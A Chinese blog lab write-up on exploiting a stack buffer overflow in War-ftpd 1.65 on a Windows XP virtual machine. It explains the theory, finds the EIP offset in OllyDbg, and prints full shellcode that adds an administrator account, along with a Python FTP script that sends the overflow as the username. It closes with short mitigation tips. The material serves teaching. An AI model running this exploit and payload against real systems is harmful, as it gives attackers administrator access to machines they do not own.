war-ftpd 1.65 缓冲区溢出漏洞实验

利用缓冲区溢出漏洞进行的攻击占所有系统攻击的 80% 以上。本文利用 War-ftpd 1.65 的缓冲区漏洞,为 Windows XP 新建一个管理员账户。实验前需要安装 Windows XP 虚拟机和 Python 2.7 。

相关软件安装

新建一个文件夹放 ward169 ,双击打开。之所以要新建一个文件夹,是因为这个应用程序会在他所在的目录生成一堆文件,像下面这样
ward169
其中有一个 war-ftpd 就是我们要的,也就是带有缓冲区漏洞的程序。这个 war-ftpd 原本是一个 ftp 服务器的守护进程,打开大概是这个样子
war-ftpd
但是这个时候 ftp 服务器还没有开启,为了方便后面的实验,这里我们设置成打开自动开启服务器。点击 Properties > Options 会弹出一个对话框,勾选 Go Online when star ,然后点击【确定】。
online
这样 war-ftpd 就算安装好了。另一个软件 OllyDbg 只需要解压缩就可以使用,下面简称为 od 。
ollydbg

实验原理

要明白缓冲区溢出漏洞,就必须先理解缓冲区。所谓缓冲区就是程序中开辟的一块内存,用于存放长度可变的数据。这些数据有时是程序中动态产生的,有时是用户输入的。一个常见的例子是用户登陆程序中,用于存放用户名和密码的缓冲区。因为不同用户的用户名和密码长度不同,所以程序员一般会在函数内申请两个字符数组,分别用于存放用户名和密码。这两个数组就是缓冲区。

正常情况下,用户的用户名和密码不会超过某个设定的最大长度,比如 255 个字符。在这种设定下,缓冲区的长度设为 256 就足够了。但是用户完全可以在用户名一栏输入 300 个字符,尽管这样是一定无法登陆的。问题在于,当用户输入的用户名长度超过 255 个字符时,多出来的那些字符放在哪呢?学过 C 语言的同学应该能想到,这些字符会放在缓冲区的后面。但是缓冲区的后面存放着其他变量的值,这些变量的值就有可能被非法更改。这就是缓冲区溢出。

本实验是基于栈溢出的,所以这里还需要对运行栈做一个简单的介绍。从上面的讨论中我们可以看出,缓冲区溢出漏洞使攻击者有可能更改那些被保存在栈中的变量。那么栈里到底存着什么呢?一般来说,除了在程序运行过程中通过 malloc 等函数动态分配的内存空间,剩下的变量都保存在栈里。除此之外,栈里还保存着函数参数、函数的返回地址等信息,这些信息构成了函数的栈帧。每当程序中发生一次函数调用,设这个函数的函数名是 func ,栈中就会压入 func 的栈帧,之后才能开始执行 func 。栈帧的用处就不展开说了,只需要知道, func 执行结束后,程序会跳到栈帧指出的返回地址继续执行。

那么如果我们可以覆盖栈帧中的返回地址,就能控制程序的执行了。但是我们想做的远不止如此:我们不仅要控制程序的执行,还希望让程序执行我们给出的代码。要做到这一点,必须首先把代码放到栈中,这一点通过缓冲区溢出也很容易完成。那么只需要将程序的执行跳转到栈里就完成了攻击。

不幸的是,程序一般只能在代码段执行。就算我们使用缓冲区溢出漏洞更改了函数的返回地址, CPU 也只会在代码段寻找对应的指令,不会在堆栈段取指。因此我们不能直接将返回地址设置为堆栈段的地址,而是需要借助一条 JMP ESP 指令。这条指令的功能是使程序的执行跳转到堆栈中 ESP 对应的位置。于是问题就变成了,如何将我们的代码放在 ESP 对应的位置上。事实上, ESP 对应的位置是很容易计算的,所以最后一个问题也就解决了。

总结一下,利用缓冲区溢出漏洞进行攻击也就是向程序发送一个超长的用户名,其中包含着要覆盖的函数返回地址和我们自己的代码。构造这个用户名是完成攻击的核心,大概分成一下几步

  1. 计算函数返回地址的存放位置
  2. 查找 JMP ESP 指令的位置,放在函数返回地址处
  3. 计算 ESP 对应的位置
  4. 将我们的代码放在 ESP 对应的位置上

实验操作

要利用缓冲区溢出漏洞,首先需要检测漏洞的存在。如果漏洞的确存在,就可以查找 EIP 相对缓冲区的位置了。然后需要在 dll 中查找 JMP ESP 的位置,并需要构造特定的 Shellcode 。这里的 Shellcode 就是我们要加载到堆栈的指令。最后,使用 JMP ESP 地址以及 Shellcode 构造一个字符串,作为用户名发送给 War-ftpd 服务器即可。

检测漏洞

因为 war-ftpd 是一个多线程服务器,缓冲区溢出只会使其中一个线程异常退出,所以表面上看不出漏洞是否存在。这就需要用到 od 来跟踪程序的执行过程。首先打开 od ,在 od 内部运行 war-ftpd 。

在这里插入图片描述

面板被分成四部分,其中右上角显示的是寄存器状态,主要关注这部分就够了。接下来使用 Python 向服务器发送 ftp 连接请求(这里使用 Python 是为了便于构造和输入用户名字符串)。

在这里插入图片描述

可以看出,当用户名为 500 个连续的 A 时,缓冲区发生溢出。因为 A 的 ASCII 码是 41H ,所以 EIP 的值被改为 41414141H 。

定位 EIP

根据上面的实验可以发现,用户名长度在 500 时就已经覆盖了 EIP 的地址了,所以 EIP 的相对偏移就在 0-499 之间。但是相对偏移究竟是多少,还需要在进行几次实验才能得到。首先来看偏移的百位数字。

在这里插入图片描述
EIP 的值被设置为了 45454545H ,而 45H 恰好是 E 的 ASCII 码。因为 E 只出现在用户名的 400-499 位,所以 EIP 的偏移也在这个范围中。接下来确定偏移的十位数字。

在这里插入图片描述
类似地根据 EIP 的值 49494949H 可以确定偏移在 480-489 之间。最后确定偏移的个位数字。
在这里插入图片描述
由此可见, EIP 相对用户名的偏移为 485-488 。

查找 JMP ESP

这里使用中文 WIN XP 下通用的 JMP ESP 地址 0x7FFA4512 。

构造 Shellcode

这里给出一个 Shellcode ,可以创建一个管理员账号 zane ,密码是 enaz 。

\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49
\x49\x49\x51\x5a\x6a\x4a\x58\x30\x42\x30\x50\x41\x6b
\x41\x41\x5a\x42\x32\x41\x42\x32\x42\x41\x41\x30\x42
\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69\x78
\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45
\x6c\x6e\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f
\x4e\x6b\x70\x4f\x42\x38\x4c\x4b\x43\x6f\x51\x30\x56
\x61\x78\x6b\x30\x49\x4c\x4b\x76\x54\x4c\x4b\x65\x51
\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d\x54\x4f
\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41
\x6a\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77
\x74\x74\x35\x79\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41
\x7a\x4b\x62\x46\x6e\x6b\x64\x4c\x30\x4b\x6e\x6b\x33
\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57\x6c\x4c\x4b
\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69
\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70
\x6f\x75\x49\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64
\x4c\x4e\x6b\x74\x30\x45\x4c\x4c\x6d\x4e\x6b\x63\x58
\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d\x50\x68\x30\x37
\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53\x6f
\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f
\x73\x6b\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58
\x78\x62\x62\x53\x62\x48\x7a\x38\x4b\x4e\x4f\x7a\x66
\x6e\x30\x57\x69\x6f\x38\x67\x61\x73\x50\x6d\x55\x34
\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54\x6f\x45
\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75
\x41\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62
\x4e\x72\x45\x71\x30\x71\x75\x70\x6e\x50\x61\x72\x5a
\x37\x50\x46\x4f\x43\x71\x71\x54\x43\x74\x41\x30\x36
\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70\x74\x55\x70
\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64
\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74
\x42\x4d\x62\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71
\x62\x51\x71\x72\x54\x50\x6f\x54\x32\x31\x63\x45\x70
\x71\x6a\x42\x41\x62\x4e\x41\x75\x55\x70\x46\x4f\x30
\x41\x30\x44\x30\x44\x43\x30\x4a

构造用户名并发送

用户名由四个部分组成。第一部分是一些填充位,其目的是使第二部分恰好位于 EIP 对应的位置。为了实现这个目标,可以在用户名上首先放置 485 个 A ,这样第二部分相对用户名的偏移就恰好是 485 。第二部分是 JMP ESP 指令的地址,也就是 7FFA4512H 。第三部分又是一些填充位,目的是使第四部分恰好位于 ESP 所指向的地址。因为 ESP 总是指向 EIP 后面四个字节的位置,所以第三部分的填充长度就是四个字节。填充内容可以任意选择,这里使用 NOP 指令。第四部分是之前构造的 Shellcode 。

from ftplib import FTP


buffer = 'A' * 485 + '\x12\x45\xfa\x7f' + '\x90' * 4
buffer += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
buffer += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x4a"
buffer += "\x58\x30\x42\x30\x50\x41\x6b\x41\x41\x5a\x42\x32\x41\x42\x32\x42"
buffer += "\x41\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x7a\x49\x79\x6c\x69"
buffer += "\x78\x51\x54\x57\x70\x43\x30\x63\x30\x4c\x4b\x67\x35\x45\x6c\x6e"
buffer += "\x6b\x71\x6c\x66\x65\x43\x48\x55\x51\x5a\x4f\x4e\x6b\x70\x4f\x42"
buffer += "\x38\x4c\x4b\x43\x6f\x51\x30\x56\x61\x78\x6b\x30\x49\x4c\x4b\x76"
buffer += "\x54\x4c\x4b\x65\x51\x7a\x4e\x66\x51\x6b\x70\x5a\x39\x6e\x4c\x4d"
buffer += "\x54\x4f\x30\x73\x44\x56\x67\x68\x41\x5a\x6a\x66\x6d\x44\x41\x6a"
buffer += "\x62\x58\x6b\x48\x74\x65\x6b\x72\x74\x31\x34\x77\x74\x74\x35\x79"
buffer += "\x75\x6c\x4b\x73\x6f\x67\x54\x64\x41\x7a\x4b\x62\x46\x6e\x6b\x64"
buffer += "\x4c\x30\x4b\x6e\x6b\x33\x6f\x75\x4c\x37\x71\x48\x6b\x6e\x6b\x57"
buffer += "\x6c\x4c\x4b\x77\x71\x58\x6b\x4c\x49\x61\x4c\x56\x44\x47\x74\x69"
buffer += "\x53\x70\x31\x4b\x70\x45\x34\x4c\x4b\x31\x50\x64\x70\x6f\x75\x49"
buffer += "\x50\x52\x58\x36\x6c\x4c\x4b\x43\x70\x64\x4c\x4e\x6b\x74\x30\x45"
buffer += "\x4c\x4c\x6d\x4e\x6b\x63\x58\x33\x38\x6a\x4b\x47\x79\x4c\x4b\x4d"
buffer += "\x50\x68\x30\x37\x70\x73\x30\x53\x30\x6e\x6b\x35\x38\x55\x6c\x53"
buffer += "\x6f\x47\x41\x6a\x56\x73\x50\x52\x76\x4b\x39\x7a\x58\x4f\x73\x6b"
buffer += "\x70\x63\x4b\x76\x30\x42\x48\x31\x6e\x78\x58\x78\x62\x62\x53\x62"
buffer += "\x48\x7a\x38\x4b\x4e\x4f\x7a\x66\x6e\x30\x57\x69\x6f\x38\x67\x61"
buffer += "\x73\x50\x6d\x55\x34\x66\x4e\x33\x55\x73\x48\x35\x35\x61\x30\x54"
buffer += "\x6f\x45\x33\x31\x30\x50\x6e\x72\x45\x50\x74\x65\x70\x30\x75\x41"
buffer += "\x63\x70\x65\x73\x42\x37\x50\x51\x6a\x62\x41\x62\x4e\x72\x45\x71"
buffer += "\x30\x71\x75\x70\x6e\x50\x61\x72\x5a\x37\x50\x46\x4f\x43\x71\x71"
buffer += "\x54\x43\x74\x41\x30\x36\x46\x51\x36\x55\x70\x70\x6e\x43\x55\x70"
buffer += "\x74\x55\x70\x30\x6c\x72\x4f\x32\x43\x35\x31\x50\x6c\x70\x67\x64"
buffer += "\x32\x72\x4f\x54\x35\x42\x50\x35\x70\x32\x61\x71\x74\x42\x4d\x62"
buffer += "\x49\x30\x6e\x55\x39\x33\x43\x73\x44\x71\x62\x51\x71\x72\x54\x50"
buffer += "\x6f\x54\x32\x31\x63\x45\x70\x71\x6a\x42\x41\x62\x4e\x41\x75\x55"
buffer += "\x70\x46\x4f\x30\x41\x30\x44\x30\x44\x43\x30\x4a"
ftp = FTP('127.0.0.1')
ftp.login(buffer, 'www')

运行上述代码得到

在这里插入图片描述

查看控制面板中的用户列表发现多了一个用户,并且被设置成了管理员。这就是 Shellcode 的功能。

在这里插入图片描述

防范思路

编程人员可以采用更加安全的语言(如 Java)替代 C 语言进行开发;使用更加安全的函数(如 fgets);使用具有溢出检测功能的编译器;减少不必要的服务端口等。

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LutingWang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值